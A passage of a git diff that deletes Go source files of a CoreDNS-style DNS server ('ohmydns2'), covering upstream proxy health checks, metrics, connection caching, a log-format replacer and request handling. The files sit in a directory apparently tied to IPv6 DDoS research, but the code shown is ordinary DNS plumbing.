*tls.Config { - return h.c.TLSConfig -} - -func (h *dnsHc) SetRecursionDesired(recursionDesired bool) { - h.recursionDesired = recursionDesired -} -func (h *dnsHc) GetRecursionDesired() bool { - return h.recursionDesired -} - -func (h *dnsHc) SetDomain(domain string) { - h.domain = domain -} -func (h *dnsHc) GetDomain() string { - return h.domain -} - -func (h *dnsHc) SetTCPTransport() { - h.c.Net = "tcp" -} - -func (h *dnsHc) GetReadTimeout() time.Duration { - return h.c.ReadTimeout -} - -func (h *dnsHc) SetReadTimeout(t time.Duration) { - h.c.ReadTimeout = t -} - -func (h *dnsHc) GetWriteTimeout() time.Duration { - return h.c.WriteTimeout -} - -func (h *dnsHc) SetWriteTimeout(t time.Duration) { - h.c.WriteTimeout = t -} - -// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty -// replies are considered fails, basically anything else constitutes a healthy upstream. - -// Check is used as the up.Func in the up.Probe. -func (h *dnsHc) Check(p *Proxy) error { - err := h.send(p.addr) - if err != nil { - HealthcheckFailureCount.WithLabelValues(p.addr).Add(1) - p.incrementFails() - return err - } - - atomic.StoreUint32(&p.fails, 0) - return nil -} - -func (h *dnsHc) send(addr string) error { - ping := new(dns.Msg) - ping.SetQuestion(h.domain, dns.TypeNS) - ping.MsgHdr.RecursionDesired = h.recursionDesired - - m, _, err := h.c.Exchange(ping, addr) - // If we got a header, we're alright, basically only care about I/O errors 'n stuff. - if err != nil && m != nil { - // Silly check, something sane came back. - if m.Response || m.Opcode == dns.OpcodeQuery { - err = nil - } - } - - return err -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" deleted file mode 100644 index 0a1604c..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/metric.go" +++ /dev/null @@ -1,49 +0,0 @@ -package proxy - -import ( - "ohmydns2/plugin" - - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/promauto" -) - -// Variables declared for monitoring. -var ( - RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "requests_total", - Help: "Counter of requests made per upstream.", - }, []string{"to"}) - RcodeCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "responses_total", - Help: "Counter of responses received per upstream.", - }, []string{"rcode", "to"}) - RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "request_duration_seconds", - Buckets: plugin.TimeBuckets, - Help: "Histogram of the time each request took.", - }, []string{"to", "rcode"}) - HealthcheckFailureCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "healthcheck_failures_total", - Help: "Counter of the number of failed healthchecks.", - }, []string{"to"}) - ConnCacheHitsCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "conn_cache_hits_total", - Help: "Counter of connection cache hits per upstream and protocol.", - }, []string{"to", "proto"}) - ConnCacheMissesCount = promauto.NewCounterVec(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "proxy", - Name: "conn_cache_misses_total", - Help: "Counter of connection cache misses per upstream and protocol.", - }, []string{"to", "proto"}) -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" deleted file mode 100644 index bd7193d..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/persistent.go" +++ /dev/null @@ -1,157 +0,0 @@ -package proxy - -import ( - "crypto/tls" - "sort" - "time" - - "github.com/miekg/dns" -) - -// a persistConn hold the dns.Conn and the last used time. -type persistConn struct { - c *dns.Conn - used time.Time -} - -// Transport hold the persistent cache. -type Transport struct { - avgDialTime int64 // kind of average time of dial time - conns [typeTotalCount][]*persistConn // Buckets for udp, tcp and tcp-tls. - expire time.Duration // After this duration a connection is expired. - addr string - tlsConfig *tls.Config - - dial chan string - yield chan *persistConn - ret chan *persistConn - stop chan bool -} - -func newTransport(addr string) *Transport { - print(addr) - t := &Transport{ - avgDialTime: int64(maxDialTimeout / 2), - conns: [typeTotalCount][]*persistConn{}, - expire: defaultExpire, - addr: addr, - dial: make(chan string), - yield: make(chan *persistConn), - ret: make(chan *persistConn), - stop: make(chan bool), - } - return t -} - -// connManager manages the persistent connection cache for UDP and TCP. -func (t *Transport) connManager() { - ticker := time.NewTicker(defaultExpire) - defer ticker.Stop() -Wait: - for { - select { - case proto := <-t.dial: - transtype := stringToTransportType(proto) - // take the last used conn - complexity O(1) - if stack := t.conns[transtype]; len(stack) > 0 { - pc := stack[len(stack)-1] - if time.Since(pc.used) < t.expire { - // Found one, remove from pool and return this conn. - t.conns[transtype] = stack[:len(stack)-1] - t.ret <- pc - continue Wait - } - // clear entire cache if the last conn is expired - t.conns[transtype] = nil - // now, the connections being passed to closeConns() are not reachable from - // transport methods anymore. So, it's safe to close them in a separate goroutine - go closeConns(stack) - } - t.ret <- nil - - case pc := <-t.yield: - transtype := t.transportTypeFromConn(pc) - t.conns[transtype] = append(t.conns[transtype], pc) - - case <-ticker.C: - t.cleanup(false) - - case <-t.stop: - t.cleanup(true) - close(t.ret) - return - } - } -} - -// closeConns closes connections. -func closeConns(conns []*persistConn) { - for _, pc := range conns { - pc.c.Close() - } -} - -// cleanup removes connections from cache. -func (t *Transport) cleanup(all bool) { - staleTime := time.Now().Add(-t.expire) - for transtype, stack := range t.conns { - if len(stack) == 0 { - continue - } - if all { - t.conns[transtype] = nil - // now, the connections being passed to closeConns() are not reachable from - // transport methods anymore. So, it's safe to close them in a separate goroutine - go closeConns(stack) - continue - } - if stack[0].used.After(staleTime) { - continue - } - - // connections in stack are sorted by "used" - good := sort.Search(len(stack), func(i int) bool { - return stack[i].used.After(staleTime) - }) - t.conns[transtype] = stack[good:] - // now, the connections being passed to closeConns() are not reachable from - // transport methods anymore. So, it's safe to close them in a separate goroutine - go closeConns(stack[:good]) - } -} - -// It is hard to pin a value to this, the import thing is to no block forever, losing at cached connection is not terrible. -const yieldTimeout = 25 * time.Millisecond - -// Yield returns the connection to transport for reuse. -func (t *Transport) Yield(pc *persistConn) { - pc.used = time.Now() // update used time - - // Make this non-blocking, because in the case of a very busy forwarder we will *block* on this yield. This - // blocks the outer go-routine and stuff will just pile up. We timeout when the send fails to as returning - // these connection is an optimization anyway. - select { - case t.yield <- pc: - return - case <-time.After(yieldTimeout): - return - } -} - -// Start starts the transport's connection manager. -func (t *Transport) Start() { go t.connManager() } - -// Stop stops the transport's connection manager. -func (t *Transport) Stop() { close(t.stop) } - -// SetExpire sets the connection expire time in transport. -func (t *Transport) SetExpire(expire time.Duration) { t.expire = expire } - -// SetTLSConfig sets the TLS config in transport. -func (t *Transport) SetTLSConfig(cfg *tls.Config) { t.tlsConfig = cfg } - -const ( - defaultExpire = 10 * time.Second - minDialTimeout = 1 * time.Second - maxDialTimeout = 30 * time.Second -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" deleted file mode 100644 index 246e3b2..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/proxy.go" +++ /dev/null @@ -1,107 +0,0 @@ -package proxy - -import ( - "crypto/tls" - "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/up" - "runtime" - "sync/atomic" - "time" -) - -// Proxy 定义了上游 -type Proxy struct { - fails uint32 - addr string - transport *Transport - readTimeOut time.Duration - - // 存活检查 - probe *up.Probe - health HealthChecker -} - -//TODO:增加对HTTPS的支持 - -// NewProxy returns a new proxy. -func NewProxy(addr, trans string) *Proxy { - p := &Proxy{ - addr: addr, - fails: 0, - probe: up.New(), - readTimeOut: 2 * time.Second, - transport: newTransport(addr), - } - p.health = NewHealthChecker(trans, true, ".") - runtime.SetFinalizer(p, (*Proxy).finalizer) - return p -} - -func (p *Proxy) Addr() string { return p.addr } - -// SetTLSConfig sets the TLS config in the lower p.transport and in the healthchecking client. -func (p *Proxy) SetTLSConfig(cfg *tls.Config) { - p.transport.SetTLSConfig(cfg) - p.health.SetTLSConfig(cfg) -} - -// SetExpire sets the expire duration in the lower p.transport. -func (p *Proxy) SetExpire(expire time.Duration) { p.transport.SetExpire(expire) } - -func (p *Proxy) GetHealthchecker() HealthChecker { - return p.health -} - -func (p *Proxy) Fails() uint32 { - return atomic.LoadUint32(&p.fails) -} - -// Healthcheck kicks of a round of health checks for this proxy. -func (p *Proxy) Healthcheck() { - if p.health == nil { - log.Warning("No healthchecker") - return - } - - p.probe.Do(func() error { - return p.health.Check(p) - }) -} - -// Down returns true if this proxy is down, i.e. has *more* fails than maxfails. -func (p *Proxy) Down(maxfails uint32) bool { - if maxfails == 0 { - return false - } - - fails := atomic.LoadUint32(&p.fails) - return fails > maxfails -} - -// Stop close stops the health checking goroutine. -func (p *Proxy) Stop() { p.probe.Stop() } -func (p *Proxy) finalizer() { p.transport.Stop() } - -// Start starts the proxy's healthchecking. -func (p *Proxy) Start(duration time.Duration) { - p.probe.Start(duration) - p.transport.Start() -} - -func (p *Proxy) SetReadTimeout(duration time.Duration) { - p.readTimeOut = duration -} - -// incrementFails increments the number of fails safely. -func (p *Proxy) incrementFails() { - curVal := atomic.LoadUint32(&p.fails) - if curVal > curVal+1 { - // overflow occurred, do not update the counter again - return - } - atomic.AddUint32(&p.fails, 1) -} - -const ( - maxTimeout = 2 * time.Second -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" deleted file mode 100644 index 3f66d93..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/type.go" +++ /dev/null @@ -1,40 +0,0 @@ -package proxy - -import "net" - -type transportType int - -const ( - typeUDP transportType = iota - typeTCP - typeTLS - typeHTTPS - typeTotalCount // keep this last -) - -func stringToTransportType(s string) transportType { - switch s { - case "udp": - return typeUDP - case "tcp": - return typeTCP - case "tcp-tls": - return typeTLS - case "tcp-https": - return typeHTTPS - } - - return typeUDP -} - -func (t *Transport) transportTypeFromConn(pc *persistConn) transportType { - if _, ok := pc.c.Conn.(*net.UDPConn); ok { - return typeUDP - } - - if t.tlsConfig == nil { - return typeTCP - } - // TODO:判断HTTPS和TLS - return typeTLS -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" deleted file mode 100644 index fe103bb..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rand/rand.go" +++ /dev/null @@ -1,34 +0,0 @@ -package rand - -import ( - "math/rand" - "sync" -) - -// Rand is used for concurrency safe random number generator. -type Rand struct { - m sync.Mutex - r *rand.Rand -} - -// New returns a new Rand from seed. -func New(seed int64) *Rand { - return &Rand{r: rand.New(rand.NewSource(seed))} -} - -// Int returns a non-negative pseudo-random int from the Source in Rand.r. -func (r *Rand) Int() int { - r.m.Lock() - v := r.r.Int() - r.m.Unlock() - return v -} - -// Perm returns, as a slice of n ints, a pseudo-random permutation of the -// integers in the half-open interval [0,n) from the Source in Rand.r. -func (r *Rand) Perm(n int) []int { - r.m.Lock() - v := r.r.Perm(n) - r.m.Unlock() - return v -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" deleted file mode 100644 index d221bcb..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/rcode/rcode.go" +++ /dev/null @@ -1,15 +0,0 @@ -package rcode - -import ( - "strconv" - - "github.com/miekg/dns" -) - -// ToString convert the rcode to the official DNS string, or to "RCODE"+value if the RCODE value is unknown. -func ToString(rcode int) string { - if str, ok := dns.RcodeToString[rcode]; ok { - return str - } - return "RCODE" + strconv.Itoa(rcode) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" deleted file mode 100644 index 93b7742..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/replacer/replacer.go" +++ /dev/null @@ -1,275 +0,0 @@ -package replacer - -import ( - "context" - "github.com/miekg/dns" - "ohmydns2/plugin/metadata" - "ohmydns2/plugin/pkg/dnstest" - "ohmydns2/plugin/pkg/request" - "strconv" - "strings" - "sync" - "time" -) - -// Replacer replaces labels for values in strings. -type Replacer struct{} - -// New makes a new replacer. This only needs to be called once in the setup and -// then call Replace for each incoming message. A replacer is safe for concurrent use. -func New() Replacer { - return Replacer{} -} - -// Replace performs a replacement of values on s and returns the string with the replaced values. -func (r Replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder, s string) string { - return loadFormat(s).Replace(ctx, state, rr) -} - -const ( - headerReplacer = "{>" - // EmptyValue is the default empty value. - EmptyValue = "-" -) - -// labels are all supported labels that can be used in the default Replacer. -var labels = map[string]struct{}{ - "{type}": {}, - "{name}": {}, - "{class}": {}, - "{proto}": {}, - "{size}": {}, - "{remote}": {}, - "{port}": {}, - "{local}": {}, - // Header values. - headerReplacer + "id}": {}, - headerReplacer + "opcode}": {}, - headerReplacer + "do}": {}, - headerReplacer + "bufsize}": {}, - // Recorded replacements. - "{rcode}": {}, - "{rsize}": {}, - "{duration}": {}, - headerReplacer + "rflags}": {}, -} - -// appendValue appends the current value of label. -func appendValue(b []byte, state request.Request, rr *dnstest.Recorder, label string) []byte { - switch label { - case "{type}": - return append(b, state.Type()...) - case "{name}": - return append(b, state.Name()...) - case "{class}": - return append(b, state.Class()...) - case "{proto}": - return append(b, state.Proto()...) - case "{size}": - return strconv.AppendInt(b, int64(state.Req.Len()), 10) - case "{remote}": - return appendAddrToRFC3986(b, state.IP()) - case "{port}": - return append(b, state.Port()...) - case "{local}": - return appendAddrToRFC3986(b, state.LocalIP()) - // Header placeholders (case-insensitive). - case headerReplacer + "id}": - return strconv.AppendInt(b, int64(state.Req.Id), 10) - case headerReplacer + "opcode}": - return strconv.AppendInt(b, int64(state.Req.Opcode), 10) - case headerReplacer + "do}": - return strconv.AppendBool(b, state.Do()) - case headerReplacer + "bufsize}": - return strconv.AppendInt(b, int64(state.Size()), 10) - // Recorded replacements. - case "{rcode}": - if rr == nil || rr.Msg == nil { - return append(b, EmptyValue...) - } - if rcode := dns.RcodeToString[rr.Rcode]; rcode != "" { - return append(b, rcode...) - } - return strconv.AppendInt(b, int64(rr.Rcode), 10) - case "{rsize}": - if rr == nil { - return append(b, EmptyValue...) - } - return strconv.AppendInt(b, int64(rr.Len), 10) - case "{duration}": - if rr == nil { - return append(b, EmptyValue...) - } - secs := time.Since(rr.Start).Seconds() - return append(strconv.AppendFloat(b, secs, 'f', -1, 64), 's') - case headerReplacer + "rflags}": - if rr != nil && rr.Msg != nil { - return appendFlags(b, rr.Msg.MsgHdr) - } - return append(b, EmptyValue...) - default: - return append(b, EmptyValue...) - } -} - -// appendFlags checks all header flags and appends those -// that are set as a string separated with commas -func appendFlags(b []byte, h dns.MsgHdr) []byte { - origLen := len(b) - if h.Response { - b = append(b, "qr,"...) - } - if h.Authoritative { - b = append(b, "aa,"...) - } - if h.Truncated { - b = append(b, "tc,"...) - } - if h.RecursionDesired { - b = append(b, "rd,"...) - } - if h.RecursionAvailable { - b = append(b, "ra,"...) - } - if h.Zero { - b = append(b, "z,"...) - } - if h.AuthenticatedData { - b = append(b, "ad,"...) - } - if h.CheckingDisabled { - b = append(b, "cd,"...) - } - if n := len(b); n > origLen { - return b[:n-1] // trim trailing ',' - } - return b -} - -// appendAddrToRFC3986 will add brackets to the address if it is an IPv6 address. -func appendAddrToRFC3986(b []byte, addr string) []byte { - if strings.IndexByte(addr, ':') != -1 { - b = append(b, '[') - b = append(b, addr...) - b = append(b, ']') - } else { - b = append(b, addr...) - } - return b -} - -type nodeType int - -const ( - typeLabel nodeType = iota // "{type}" - typeLiteral // "foo" - typeMetadata // "{/metadata}" -) - -// A node represents a segment of a parsed format. For example: "A {type}" -// contains two nodes: "A " (literal); and "{type}" (label). -type node struct { - value string // Literal value, label or metadata label - typ nodeType -} - -// A replacer is an ordered list of all the nodes in a format. -type replacer []node - -func parseFormat(s string) replacer { - // Assume there is a literal between each label - its cheaper to over - // allocate once than allocate twice. - rep := make(replacer, 0, strings.Count(s, "{")*2) - for { - // We find the right bracket then backtrack to find the left bracket. - // This allows us to handle formats like: "{ {foo} }". - j := strings.IndexByte(s, '}') - if j < 0 { - break - } - i := strings.LastIndexByte(s[:j], '{') - if i < 0 { - // Handle: "A } {foo}" by treating "A }" as a literal - rep = append(rep, node{ - value: s[:j+1], - typ: typeLiteral, - }) - s = s[j+1:] - continue - } - - val := s[i : j+1] - var typ nodeType - switch _, ok := labels[val]; { - case ok: - typ = typeLabel - case strings.HasPrefix(val, "{/"): - // Strip "{/}" from metadata labels - val = val[2 : len(val)-1] - typ = typeMetadata - default: - // Given: "A {X}" val is "{X}" expand it to the whole literal. - val = s[:j+1] - typ = typeLiteral - } - - // Append any leading literal. Given "A {type}" the literal is "A " - if i != 0 && typ != typeLiteral { - rep = append(rep, node{ - value: s[:i], - typ: typeLiteral, - }) - } - rep = append(rep, node{ - value: val, - typ: typ, - }) - s = s[j+1:] - } - if len(s) != 0 { - rep = append(rep, node{ - value: s, - typ: typeLiteral, - }) - } - return rep -} - -var replacerCache sync.Map // map[string]replacer - -func loadFormat(s string) replacer { - if v, ok := replacerCache.Load(s); ok { - return v.(replacer) - } - v, _ := replacerCache.LoadOrStore(s, parseFormat(s)) - return v.(replacer) -} - -// bufPool stores pointers to scratch buffers. -var bufPool = sync.Pool{ - New: func() interface{} { - return make([]byte, 0, 256) - }, -} - -func (r replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder) string { - b := bufPool.Get().([]byte) - for _, s := range r { - switch s.typ { - case typeLabel: - b = appendValue(b, state, rr, s.value) - case typeLiteral: - b = append(b, s.value...) - case typeMetadata: - if fm := metadata.ValueFunc(ctx, s.value); fm != nil { - b = append(b, fm()...) - } else { - b = append(b, EmptyValue...) - } - } - } - s := string(b) - //nolint:staticcheck - bufPool.Put(b[:0]) - return s -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" deleted file mode 100644 index 3811395..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/README.md" +++ /dev/null @@ -1 +0,0 @@ -所有*Ohmydns*接收到的请求将由request中的函数进行处理 \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" deleted file mode 100644 index 99aad42..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/edns0.go" +++ /dev/null @@ -1,30 +0,0 @@ -package request - -import ( - "github.com/miekg/dns" - "ohmydns2/plugin/pkg/edns" -) - -func supportedOptions(o []dns.EDNS0) []dns.EDNS0 { - var supported = make([]dns.EDNS0, 0, 3) - // For as long as possible try avoid looking up in the map, because that need an Rlock. - for _, opt := range o { - switch code := opt.Option(); code { - case dns.EDNS0NSID: - fallthrough - case dns.EDNS0EXPIRE: - fallthrough - case dns.EDNS0COOKIE: - fallthrough - case dns.EDNS0TCPKEEPALIVE: - fallthrough - case dns.EDNS0PADDING: - supported = append(supported, opt) - default: - if edns.SupportedOption(code) { - supported = append(supported, opt) - } - } - } - return supported -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" deleted file mode 100644 index 1a37dd1..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/http_request.go" +++ /dev/null @@ -1,25 +0,0 @@ -package request - -import ( - "net/http" -) - -// HTTPRequest contains some connection state and is useful in plugin. -type HTTPRequest struct { - Req *http.Request - W http.ResponseWriter - - // Optional lowercased zone of this query. - Zone string - - // Cache size after first call to Size or Do. If size is zero nothing has been cached yet. - // Both Size and Do set these values (and cache them). - size uint16 // UDP buffer size, or 64K in case of TCP. - - // Caches - family int8 // transport's family. - ip string // client's ip. - port string // client's port. - localPort string // server's port. - localIP string // server's ip. -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" deleted file mode 100644 index 24dc03e..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/request/request.go" +++ /dev/null @@ -1,362 +0,0 @@ -// request 抽象出一个客户端的请求,让所有的插件统一处理 -package request - -import ( - "net" - "ohmydns2/plugin/pkg/edns" - "strings" - - "github.com/miekg/dns" -) - -// Request contains some connection state and is useful in plugin. -type Request struct { - Req *dns.Msg - W dns.ResponseWriter - - // Optional lowercased zone of this query. - Zone string - - // Cache size after first call to Size or Do. If size is zero nothing has been cached yet. - // Both Size and Do set these values (and cache them). - size uint16 // UDP buffer size, or 64K in case of TCP. - do bool // DNSSEC OK value - - // Caches - family int8 // transport's family. - name string // lowercase qname. - ip string // client's ip. - port string // client's port. - localPort string // server's port. - localIP string // server's ip. -} - -// NewWithQuestion returns a new request based on the old, but with a new question -// section in the request. -func (r *Request) NewWithQuestion(name string, typ uint16) Request { - req1 := Request{W: r.W, Req: r.Req.Copy()} - req1.Req.Question[0] = dns.Question{Name: dns.Fqdn(name), Qclass: dns.ClassINET, Qtype: typ} - return req1 -} - -// IP gets the (remote) IP address of the client making the request. -func (r *Request) IP() string { - if r.ip != "" { - return r.ip - } - - ip, _, err := net.SplitHostPort(r.W.RemoteAddr().String()) - if err != nil { - r.ip = r.W.RemoteAddr().String() - return r.ip - } - - r.ip = ip - return r.ip -} - -// LocalIP gets the (local) IP address of server handling the request. -func (r *Request) LocalIP() string { - if r.localIP != "" { - return r.localIP - } - - ip, _, err := net.SplitHostPort(r.W.LocalAddr().String()) - if err != nil { - r.localIP = r.W.LocalAddr().String() - return r.localIP - } - - r.localIP = ip - return r.localIP -} - -// Port gets the (remote) port of the client making the request. -func (r *Request) Port() string { - if r.port != "" { - return r.port - } - - _, port, err := net.SplitHostPort(r.W.RemoteAddr().String()) - if err != nil { - r.port = "0" - return r.port - } - - r.port = port - return r.port -} - -// LocalPort gets the local port of the server handling the request. -func (r *Request) LocalPort() string { - if r.localPort != "" { - return r.localPort - } - - _, port, err := net.SplitHostPort(r.W.LocalAddr().String()) - if err != nil { - r.localPort = "0" - return r.localPort - } - - r.localPort = port - return r.localPort -} - -// RemoteAddr returns the net.Addr of the client that sent the current request. -func (r *Request) RemoteAddr() string { return r.W.RemoteAddr().String() } - -// LocalAddr returns the net.Addr of the server handling the current request. -func (r *Request) LocalAddr() string { return r.W.LocalAddr().String() } - -// Proto gets the protocol used as the transport. This will be udp or tcp. -func (r *Request) Proto() string { - if _, ok := r.W.RemoteAddr().(*net.UDPAddr); ok { - return "udp" - } - if _, ok := r.W.RemoteAddr().(*net.TCPAddr); ok { - return "tcp" - } - return "udp" -} - -// Family returns the family of the transport, 1 for IPv4 and 2 for IPv6. -func (r *Request) Family() int { - if r.family != 0 { - return int(r.family) - } - - var a net.IP - ip := r.W.RemoteAddr() - if i, ok := ip.(*net.UDPAddr); ok { - a = i.IP - } - if i, ok := ip.(*net.TCPAddr); ok { - a = i.IP - } - - if a.To4() != nil { - r.family = 1 - return 1 - } - r.family = 2 - return 2 -} - -// Do returns true if the request has the DO (DNSSEC OK) bit set. -func (r *Request) Do() bool { - if r.size != 0 { - return r.do - } - - r.Size() - return r.do -} - -// Len returns the length in bytes in the request. -func (r *Request) Len() int { return r.Req.Len() } - -// Size returns if buffer size *advertised* in the requests OPT record. -// Or when the request was over TCP, we return the maximum allowed size of 64K. -func (r *Request) Size() int { - if r.size != 0 { - return int(r.size) - } - - size := uint16(0) - if o := r.Req.IsEdns0(); o != nil { - r.do = o.Do() - size = o.UDPSize() - } - - // normalize size - size = edns.Size(r.Proto(), size) - r.size = size - return int(size) -} - -// SizeAndDo adds an OPT record that the reflects the intent from request. -// The returned bool indicates if an record was found and normalised. -func (r *Request) SizeAndDo(m *dns.Msg) bool { - o := r.Req.IsEdns0() - if o == nil { - return false - } - - if mo := m.IsEdns0(); mo != nil { - mo.Hdr.Name = "." - mo.Hdr.Rrtype = dns.TypeOPT - mo.SetVersion(0) - mo.SetUDPSize(o.UDPSize()) - mo.Hdr.Ttl &= 0xff00 // clear flags - - // Assume if the message m has options set, they are OK and represent what an upstream can do. - - if o.Do() { - mo.SetDo() - } - return true - } - - // Reuse the request's OPT record and tack it to m. - o.Hdr.Name = "." - o.Hdr.Rrtype = dns.TypeOPT - o.SetVersion(0) - o.Hdr.Ttl &= 0xff00 // clear flags - - if len(o.Option) > 0 { - o.Option = supportedOptions(o.Option) - } - - m.Extra = append(m.Extra, o) - return true -} - -// Scrub scrubs the reply message so that it will fit the client's buffer. It will first -// check if the reply fits without compression and then *with* compression. -// Note, the TC bit will be set regardless of protocol, even TCP message will -// get the bit, the client should then retry with pigeons. -func (r *Request) Scrub(reply *dns.Msg) *dns.Msg { - reply.Truncate(r.Size()) - - if reply.Compress { - return reply - } - - if r.Proto() == "udp" { - rl := reply.Len() - // Last ditch attempt to avoid fragmentation, if the size is bigger than the v4/v6 UDP fragmentation - // limit and sent via UDP compress it (in the hope we go under that limit). Limits taken from NSD: - // - // .., 1480 (EDNS/IPv4), 1220 (EDNS/IPv6), or the advertised EDNS buffer size if that is - // smaller than the EDNS default. - // See: https://open.nlnetlabs.nl/pipermail/nsd-users/2011-November/001278.html - if rl > 1480 && r.Family() == 1 { - reply.Compress = true - } - if rl > 1220 && r.Family() == 2 { - reply.Compress = true - } - } - - return reply -} - -// Type returns the type of the question as a string. If the request is malformed the empty string is returned. -func (r *Request) Type() string { - if r.Req == nil { - return "" - } - if len(r.Req.Question) == 0 { - return "" - } - - return dns.Type(r.Req.Question[0].Qtype).String() -} - -// QType returns the type of the question as an uint16. If the request is malformed -// 0 is returned. -func (r *Request) QType() uint16 { - if r.Req == nil { - return 0 - } - if len(r.Req.Question) == 0 { - return 0 - } - - return r.Req.Question[0].Qtype -} - -// Name returns the name of the question in the request. Note -// this name will always have a closing dot and will be lower cased. After a call Name -// the value will be cached. To clear this caching call Clear. -// If the request is malformed the root zone is returned. -func (r *Request) Name() string { - if r.name != "" { - return r.name - } - if r.Req == nil { - r.name = "." - return "." - } - if len(r.Req.Question) == 0 { - r.name = "." - return "." - } - - r.name = strings.ToLower(dns.Name(r.Req.Question[0].Name).String()) - return r.name -} - -// QName returns the name of the question in the request. -// If the request is malformed the root zone is returned. -func (r *Request) QName() string { - if r.Req == nil { - return "." - } - 